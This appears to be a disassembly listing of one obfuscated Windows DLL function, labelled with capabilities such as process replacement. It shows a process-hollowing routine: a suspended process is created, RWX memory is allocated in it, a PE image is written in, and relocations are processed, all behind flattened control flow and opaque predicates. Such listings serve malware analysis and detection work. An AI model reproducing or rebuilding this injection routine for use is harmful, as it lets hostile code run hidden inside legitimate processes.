Function at 0x10002330
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x13c
mov eax, dword [0x10065600]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x144], 0x478adb22
mov eax, dword [ebp - 0x144]
mov dword [ebp - 0x148], eax
sub eax, 0x82ced571
je 0x10004826
jmp 0x1000236c
mov eax, dword [ebp - 0x148]
sub eax, 0x850085fb
je 0x10004de4
jmp 0x10002382
mov eax, dword [ebp - 0x148]
sub eax, 0x87d10988
je 0x10004a13
jmp 0x10002398
mov eax, dword [ebp - 0x148]
sub eax, 0x88616325
je 0x10004b6b
jmp 0x100023ae
mov eax, dword [ebp - 0x148]
sub eax, 0x8aeab6e7
je 0x1000417a
jmp 0x100023c4
mov eax, dword [ebp - 0x148]
sub eax, 0x8c07fa93
je 0x10003b8e
jmp 0x100023da
mov eax, dword [ebp - 0x148]
sub eax, 0x8cb01761
je 0x1000438f
jmp 0x100023f0
mov eax, dword [ebp - 0x148]
sub eax, 0x8ce6154d
je 0x1000324b
jmp 0x10002406
mov eax, dword [ebp - 0x148]
sub eax, 0x8daa76aa
je 0x1000358e
jmp 0x1000241c
mov eax, dword [ebp - 0x148]
sub eax, 0x8dca333c
je 0x10003b20
jmp 0x10002432
mov eax, dword [ebp - 0x148]
sub eax, 0x94ced6a9
je 0x10004be8
jmp 0x10002448
mov eax, dword [ebp - 0x148]
sub eax, 0x99b896c8
je 0x100038b2
jmp 0x1000245e
mov eax, dword [ebp - 0x148]
sub eax, 0x99fb3847
je 0x10003fd8
jmp 0x10002474
mov eax, dword [ebp - 0x148]
sub eax, 0x9ae50443
je 0x10004eb6
jmp 0x1000248a
mov eax, dword [ebp - 0x148]
sub eax, 0x9c21d811
je 0x100035fa
jmp 0x100024a0
mov eax, dword [ebp - 0x148]
sub eax, 0x9ecd2e8d
je 0x100046ef
jmp 0x100024b6
mov eax, dword [ebp - 0x148]
sub eax, 0x9f202abd
je 0x10003d78
jmp 0x100024cc
mov eax, dword [ebp - 0x148]
sub eax, 0xa0064edc
je 0x10003f2c
jmp 0x100024e2
mov eax, dword [ebp - 0x148]
sub eax, 0xa205198e
je 0x100049a5
jmp 0x100024f8
mov eax, dword [ebp - 0x148]
sub eax, 0xa290da95
je 0x10005026
jmp 0x1000250e
mov eax, dword [ebp - 0x148]
sub eax, 0xa2b0c234
je 0x10004e2d
jmp 0x10002524
mov eax, dword [ebp - 0x148]
sub eax, 0xa586e87a
je 0x10004a57
jmp 0x1000253a
mov eax, dword [ebp - 0x148]
sub eax, 0xa59af403
je 0x10003485
jmp 0x10002550
mov eax, dword [ebp - 0x148]
sub eax, 0xa888b81f
je 0x10003545
jmp 0x10002566
mov eax, dword [ebp - 0x148]
sub eax, 0xa8a15013
je 0x10003352
jmp 0x1000257c
mov eax, dword [ebp - 0x148]
sub eax, 0xa8cf2f88
je 0x100050d5
jmp 0x10002592
mov eax, dword [ebp - 0x148]
sub eax, 0xaae4b2dc
je 0x10005278
jmp 0x100025a8
mov eax, dword [ebp - 0x148]
sub eax, 0xb1275009
je 0x100037dc
jmp 0x100025be
mov eax, dword [ebp - 0x148]
sub eax, 0xb1b4b7e2
je 0x10005089
jmp 0x100025d4
mov eax, dword [ebp - 0x148]
sub eax, 0xb3d5bb78
je 0x1000495c
jmp 0x100025ea
mov eax, dword [ebp - 0x148]
sub eax, 0xb49d8d3d
je 0x1000494d
jmp 0x10002600
mov eax, dword [ebp - 0x148]
sub eax, 0xb51037f8
je 0x100043fd
jmp 0x10002616
mov eax, dword [ebp - 0x148]
sub eax, 0xb55cf00e
je 0x100050f9
jmp 0x1000262c
mov eax, dword [ebp - 0x148]
sub eax, 0xb65f118f
je 0x10004d23
jmp 0x10002642
mov eax, dword [ebp - 0x148]
sub eax, 0xba0da85b
je 0x10003c40
jmp 0x10002658
mov eax, dword [ebp - 0x148]
sub eax, 0xbca47055
je 0x10004253
jmp 0x1000266e
mov eax, dword [ebp - 0x148]
sub eax, 0xbdfff04c
je 0x10003056
jmp 0x10002684
mov eax, dword [ebp - 0x148]
sub eax, 0xbe2ae660
je 0x10003227
jmp 0x1000269a
mov eax, dword [ebp - 0x148]
sub eax, 0xc0ebdeea
je 0x10004d9b
jmp 0x100026b0
mov eax, dword [ebp - 0x148]
sub eax, 0xc388bbb2
je 0x10003d87
jmp 0x100026c6
mov eax, dword [ebp - 0x148]
sub eax, 0xc4f7d73b
je 0x10004a22
jmp 0x100026dc
mov eax, dword [ebp - 0x148]
sub eax, 0xc59f4e4a
je 0x1000506e
jmp 0x100026f2
mov eax, dword [ebp - 0x148]
sub eax, 0xc621a0d4
je 0x10004718
jmp 0x10002708
mov eax, dword [ebp - 0x148]
sub eax, 0xc91a627c
je 0x10004089
jmp 0x1000271e
mov eax, dword [ebp - 0x148]
sub eax, 0xca33288e
je 0x10003cb6
jmp 0x10002734
mov eax, dword [ebp - 0x148]
sub eax, 0xccfea213
je 0x10003f8f
jmp 0x1000274a
mov eax, dword [ebp - 0x148]
sub eax, 0xd054d531
je 0x10004e5d
jmp 0x10002760
mov eax, dword [ebp - 0x148]
sub eax, 0xd13b0849
je 0x10003ec1
jmp 0x10002776
mov eax, dword [ebp - 0x148]
sub eax, 0xd352314d
je 0x1000329c
jmp 0x1000278c
mov eax, dword [ebp - 0x148]
sub eax, 0xd8647fb9
je 0x10003a35
jmp 0x100027a2
mov eax, dword [ebp - 0x148]
sub eax, 0xdb3baeff
je 0x10003939
jmp 0x100027b8
mov eax, dword [ebp - 0x148]
sub eax, 0xe22a0ee1
je 0x100050e4
jmp 0x100027ce
mov eax, dword [ebp - 0x148]
sub eax, 0xe47a2852
je 0x10004d14
jmp 0x100027e4
mov eax, dword [ebp - 0x148]
sub eax, 0xe5602bc3
je 0x100041a0
jmp 0x100027fa
mov eax, dword [ebp - 0x148]
sub eax, 0xe642cd17
je 0x100044d9
jmp 0x10002810
mov eax, dword [ebp - 0x148]
sub eax, 0xe6f42ab8
je 0x100038fa
jmp 0x10002826
mov eax, dword [ebp - 0x148]
sub eax, 0xe8402306
je 0x100034fc
jmp 0x1000283c
mov eax, dword [ebp - 0x148]
sub eax, 0xec9acd1b
je 0x10003065
jmp 0x10002852
mov eax, dword [ebp - 0x148]
sub eax, 0xef18d68a
je 0x1000463c
jmp 0x10002868
mov eax, dword [ebp - 0x148]
sub eax, 0xef8d6ce7
je 0x10004a48
jmp 0x1000287e
mov eax, dword [ebp - 0x148]
sub eax, 0xf03fb7f5
je 0x10003dd0
jmp 0x10002894
mov eax, dword [ebp - 0x148]
sub eax, 0xf0e7d155
je 0x10004ed4
jmp 0x100028aa
mov eax, dword [ebp - 0x148]
sub eax, 0xf81c5feb
je 0x10003909
jmp 0x100028c0
mov eax, dword [ebp - 0x148]
sub eax, 0xf9adb19f
je 0x10003e78
jmp 0x100028d6
mov eax, dword [ebp - 0x148]
sub eax, 0xfa798d7e
je 0x10003118
mov dword [ebp - 0x144], 0xec9acd1b
jmp 0x10005282
mov eax, dword [0x10066938]
mov ecx, dword [0x10066934]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x9ae50443
mov ecx, 0x238853fe
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x144], eax
jmp 0x10005282
mov edx, dword [ebp - 0x134]
mov eax, 0x5c2b7839
mov ecx, 0x8ce6154d
cmp dword [edx], 0x4550
cmove eax, ecx
mov dword [ebp - 0x144], eax
jmp 0x10005282
mov eax, dword [0x10066938]
mov ecx, dword [0x10066934]
mov edx, eax
add edx, 0xddeaefc5
sub edx, 1
sub edx, 0xddeaefc5
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf0e7d155
mov ecx, 0xd352314d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x144], eax
jmp 0x10005282
lea eax, [ebp - 0x24]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x10
call fcn.100064a0
add esp, 0xc
lea eax, [ebp - 0x68]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x44
call fcn.100064a0
add esp, 0xc
mov eax, dword [ebp - 0x134]
cmp dword [eax + 0xe8], 0
setne al
and al, 1
mov byte [ebp - 0xea], al
mov eax, dword [0x10066938]
mov ecx, dword [0x10066934]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf0e7d155
mov ecx, 0xfa76f3c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x144], eax
jmp 0x10005282
mov ecx, dword [0x10066938]
mov eax, dword [0x10066934]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x44bcc1fc
mov ecx, 0x620c5b52
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x144], eax
jmp 0x10005282
mov edx, dword [ebp - 0x13c]
xor eax, eax
lea ecx, [ebp - 0x68]
lea eax, [ebp - 0x24]
sub esp, 0x28
mov dword [esp], edx
mov dword [esp + 4], 0
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 4
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], ecx
mov dword [esp + 0x24], eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0xe9], al
mov dword [ebp - 0x144], 0xe8402306
jmp 0x10005282
mov eax, dword [0x10066938]
mov ecx, dword [0x10066934]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x78534138
mov ecx, 0xa888b81f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x144], eax
jmp 0x10005282
mov eax, dword [0x10066938]
mov ecx, dword [0x10066934]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x78534138
mov ecx, 0x8daa76aa
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x144], eax
jmp 0x10005282
mov dl, byte [ebp - 0xe9]
mov eax, 0xc0ebdeea
mov ecx, 0x38a5ca2c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x144], eax
jmp 0x10005282
mov eax, dword [ebp - 0xe8]
mov dword [eax], 0x10007
mov eax, dword [ebp - 0x130]
mov ecx, dword [ebp - 0x20]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
mov edx, eax
mov eax, 0x7952d812
mov ecx, 0x2d3d7848
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x144], eax
jmp 0x10005282
mov eax, dword [ebp - 0xe0]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0xe4]
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0x3000
mov dword [esp + 0x10], 0x40
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x6c], eax
cmp dword [ebp - 0x6c], 0
sete al
and al, 1
mov byte [ebp - 0xd9], al
mov ecx, dword [0x10066938]
mov eax, dword [0x10066934]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x282ab3ce
mov ecx, 0x4faec22f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x144], eax
jmp 0x10005282
mov eax, dword [ebp - 0x134]
mov eax, dword [eax + 0x50]
mov ecx, dword [ebp - 0x24]
xor edx, edx
sub esp, 0x14
mov dword [esp], ecx
mov dword [esp + 4], 0
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0x3000
mov dword [esp + 0x10], 0x40
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x6c], eax
mov dword [ebp - 0x144], 0xe6f42ab8
jmp 0x10005282
mov dword [ebp - 0x144], 0xf81c5feb
jmp 0x10005282
mov eax, dword [ebp - 0x134]
mov eax, dword [eax + 0x54]
mov dword [ebp - 0xd8], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0xd4], eax
mov eax, dword [ebp - 0x6c]
mov dword [ebp - 0xd0], eax
mov dword [ebp - 0x144], 0xdb3baeff
jmp 0x10005282
mov esi, dword [ebp - 0x24]
mov eax, dword [ebp - 0xd8]
mov ecx, dword [ebp - 0xd4]
mov edx, dword [ebp - 0xd0]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x12c]
add ecx, dword [eax + 0x3c]
add ecx, 4
add ecx, 0x14
mov eax, dword [ebp - 0x134]
movzx eax, word [eax + 0x14]
add ecx, eax
mov eax, dword [ebp - 0x120]
mov dword [eax], ecx
mov ecx, dword [ebp - 0x134]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, 0x18
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0x134]
movzx eax, word [eax + 0x14]
sub ecx, 0x869e7188
add ecx, eax
add ecx, 0x869e7188
mov eax, dword [ebp - 0x11c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x118]
mov dword [eax], 0
mov eax, dword [ebp - 0x134]
mov ecx, dword [eax + 0xa0]
mov eax, dword [ebp - 0x114]
mov dword [eax], ecx
mov eax, dword [ebp - 0x110]
mov dword [eax], 0
mov dword [ebp - 0x144], 0x3f3270e5
jmp 0x10005282
mov eax, dword [ebp - 0xc8]
movzx esi, word [eax]
mov edx, dword [ebp - 0xcc]
mov eax, 0x14f858e0
mov ecx, 0x4b0d3586
cmp edx, esi
cmovl eax, ecx
mov dword [ebp - 0x144], eax
jmp 0x10005282
mov ecx, dword [0x10066938]
mov eax, dword [0x10066934]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x3b73b1a9
mov ecx, 0x8c07fa93
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x144], eax
jmp 0x10005282
mov eax, dword [ebp - 0xc0]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xc4]
cmp eax, ecx
setae al
and al, 1
mov byte [ebp - 0xb9], al
mov ecx, dword [0x10066938]
mov eax, dword [0x10066934]
mov edx, ecx
add edx, 0x17b0bfb
sub edx, 1
sub edx, 0x17b0bfb
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x3b73b1a9
mov ecx, 0x59660c05
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x144], eax
jmp 0x10005282
mov ecx, dword [0x10066938]
mov eax, dword [0x10066934]
mov edx, ecx
add edx, 0xb217bd55
sub edx, 1
sub edx, 0xb217bd55
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xa290da95
mov ecx, 0xca33288e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x144], eax
jmp 0x10005282
mov eax, dword [ebp - 0x114]
mov eax, dword [eax]
mov dword [ebp - 0xb8], eax
mov eax, dword [ebp - 0x120]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x110]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov eax, dword [eax + 0xc]
mov ecx, dword [ebp - 0x120]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x110]
imul edx, dword [edx], 0x28
add ecx, edx
mov ecx, dword [ecx + 0x10]
add eax, 0x4c080650
add eax, ecx
sub eax, 0x4c080650
mov dword [ebp - 0xb4], eax
mov ecx, dword [0x10066938]
mov eax, dword [0x10066934]
mov edx, ecx
sub edx, 0x46898283
sub edx, 1
add edx, 0x46898283
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xa290da95
mov ecx, 0x9f202abd
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x144], eax
jmp 0x10005282
mov dword [ebp - 0x144], 0xc388bbb2
jmp 0x10005282
mov eax, dword [0x10066938]
mov ecx, dword [0x10066934]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x6f988309
mov ecx, 0xf03fb7f5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x144], eax
jmp 0x10005282
mov eax, dword [ebp - 0xb8]
mov ecx, dword [ebp - 0xb4]
cmp eax, ecx
setbe al
and al, 1
mov byte [ebp - 0xad], al
mov ecx, dword [0x10066938]
mov eax, dword [0x10066934]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x6f988309
mov ecx, 0xfd59ccb9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x144], eax
jmp 0x10005282
mov eax, dword [0x10066938]
mov ecx, dword [0x10066934]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xc59f4e4a
mov ecx, 0xd13b0849
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x144], eax
jmp 0x10005282
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0xac], eax
mov eax, dword [ebp - 0x120]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x110]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov dword [ebp - 0xa8], eax
mov eax, dword [0x10066938]
mov ecx, dword [0x10066934]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xc59f4e4a
mov ecx, 0xa0064edc
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x144], eax
jmp 0x10005282
mov dword [ebp - 0x144], 0x2a7acfed
jmp 0x10005282
mov eax, dword [0x10066938]
mov ecx, dword [0x10066934]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb1b4b7e2
mov ecx, 0x99fb3847
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x144], eax
jmp 0x10005282
mov eax, dword [0x10066938]
mov ecx, dword [0x10066934]
mov edx, eax
sub edx, 0xf3b9ff55
sub edx, 1
add edx, 0xf3b9ff55
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb1b4b7e2
mov ecx, 0xfc16eadc
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x144], eax
jmp 0x10005282
mov eax, dword [ebp - 0x110]
mov ecx, dword [eax]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, 1
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0x110]
mov dword [eax], ecx
mov ecx, dword [0x10066938]
mov eax, dword [0x10066934]
mov edx, ecx
add edx, 0xd7533728
sub edx, 1
sub edx, 0xd7533728
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x5c018412
mov ecx, 0x4527e1b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x144], eax
jmp 0x10005282
mov eax, dword [ebp - 0x6c]
mov ecx, dword [ebp - 0x134]
cmp eax, dword [ecx + 0x34]
setne al
and al, 1
mov byte [ebp - 0x9d], al
mov dword [ebp - 0x144], 0xe5602bc3
jmp 0x10005282
mov eax, dword [0x10066938]
mov ecx, dword [0x10066934]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x7e6e6f4e
mov ecx, 0x61d68cd7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x144], eax
jmp 0x10005282
mov ecx, dword [0x10066938]
mov eax, dword [0x10066934]
mov edx, ecx
add edx, 0x493b1918
sub edx, 1
sub edx, 0x493b1918
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xa8cf2f88
mov ecx, 0x38d9e24a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x144], eax
jmp 0x10005282
mov ecx, dword [0x10066938]
mov eax, dword [0x10066934]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xe22a0ee1
mov ecx, 0xb51037f8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x144], eax
jmp 0x10005282
mov eax, dword [ebp - 0x118]
mov eax, dword [eax]
mov dword [ebp - 0x98], eax
mov ecx, dword [0x10066938]
mov eax, dword [0x10066934]
mov edx, ecx
sub edx, 0x224a65aa
sub edx, 1
add edx, 0x224a65aa
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xe22a0ee1
mov ecx, 0x172b5feb
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x144], eax
jmp 0x10005282
mov ecx, dword [ebp - 0x98]
sub ecx, 0xe4696340
add ecx, 8
add ecx, 0xe4696340
mov eax, dword [ebp - 0x10c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x118]
mov eax, dword [eax]
mov ecx, dword [eax + 4]
xor eax, eax
sub eax, 8
add ecx, eax
shr ecx, 1
mov eax, dword [ebp - 0x108]
mov dword [eax], ecx
mov ecx, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x134]
mov eax, dword [eax + 0x34]
add ecx, 0xf9ba48bc
sub ecx, eax
sub ecx, 0xf9ba48bc
mov eax, dword [ebp - 0x104]
mov dword [eax], ecx
mov eax, dword [ebp - 0x100]
mov dword [eax], 0
mov ecx, dword [0x10066938]
mov eax, dword [0x10066934]
mov edx, ecx
sub edx, 0xd95ce21a
sub edx, 1
add edx, 0xd95ce21a
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xb55cf00e
mov ecx, 0x70634d23
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x144], eax
jmp 0x10005282
mov eax, dword [ebp - 0x100]
mov eax, dword [eax]
mov dword [ebp - 0x94], eax
mov ecx, dword [0x10066938]
mov eax, dword [0x10066934]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x606b1a31
mov ecx, 0x102ea11
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x144], eax
jmp 0x10005282
mov eax, dword [ebp - 0x10c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x100]
mov ecx, dword [ecx]
movzx eax, word [eax + ecx*2]
mov dword [ebp - 0x90], eax
mov dword [ebp - 0x144], 0xc621a0d4
jmp 0x10005282
mov edx, dword [ebp - 0x90]
xor edx, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0xf000
mov eax, 0xffffffff
xor eax, 0xeec839f8
or edx, ecx
or eax, 0xeec839f8
xor edx, 0xffffffff
and edx, eax
mov eax, 0xb3d5bb78
mov ecx, 0x5528c46
cmp edx, 3
cmove eax, ecx
mov dword [ebp - 0x144], eax
jmp 0x10005282
mov eax, dword [ebp - 0x104]
mov edx, dword [eax]
mov eax, dword [ebp - 0xf8]
mov ecx, dword [eax]
xor eax, eax
sub eax, edx
sub ecx, eax
mov eax, dword [ebp - 0xf8]
mov dword [eax], ecx
mov eax, dword [ebp - 0xfc]
mov eax, dword [eax]
mov dword [ebp - 0x84], eax
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x80], eax
mov dword [ebp - 0x144], 0x4e974f9a
jmp 0x10005282
mov dword [ebp - 0x144], 0xb3d5bb78
jmp 0x10005282
mov eax, dword [0x10066938]
mov ecx, dword [0x10066934]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x52623b80
mov ecx, 0xa205198e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x144], eax
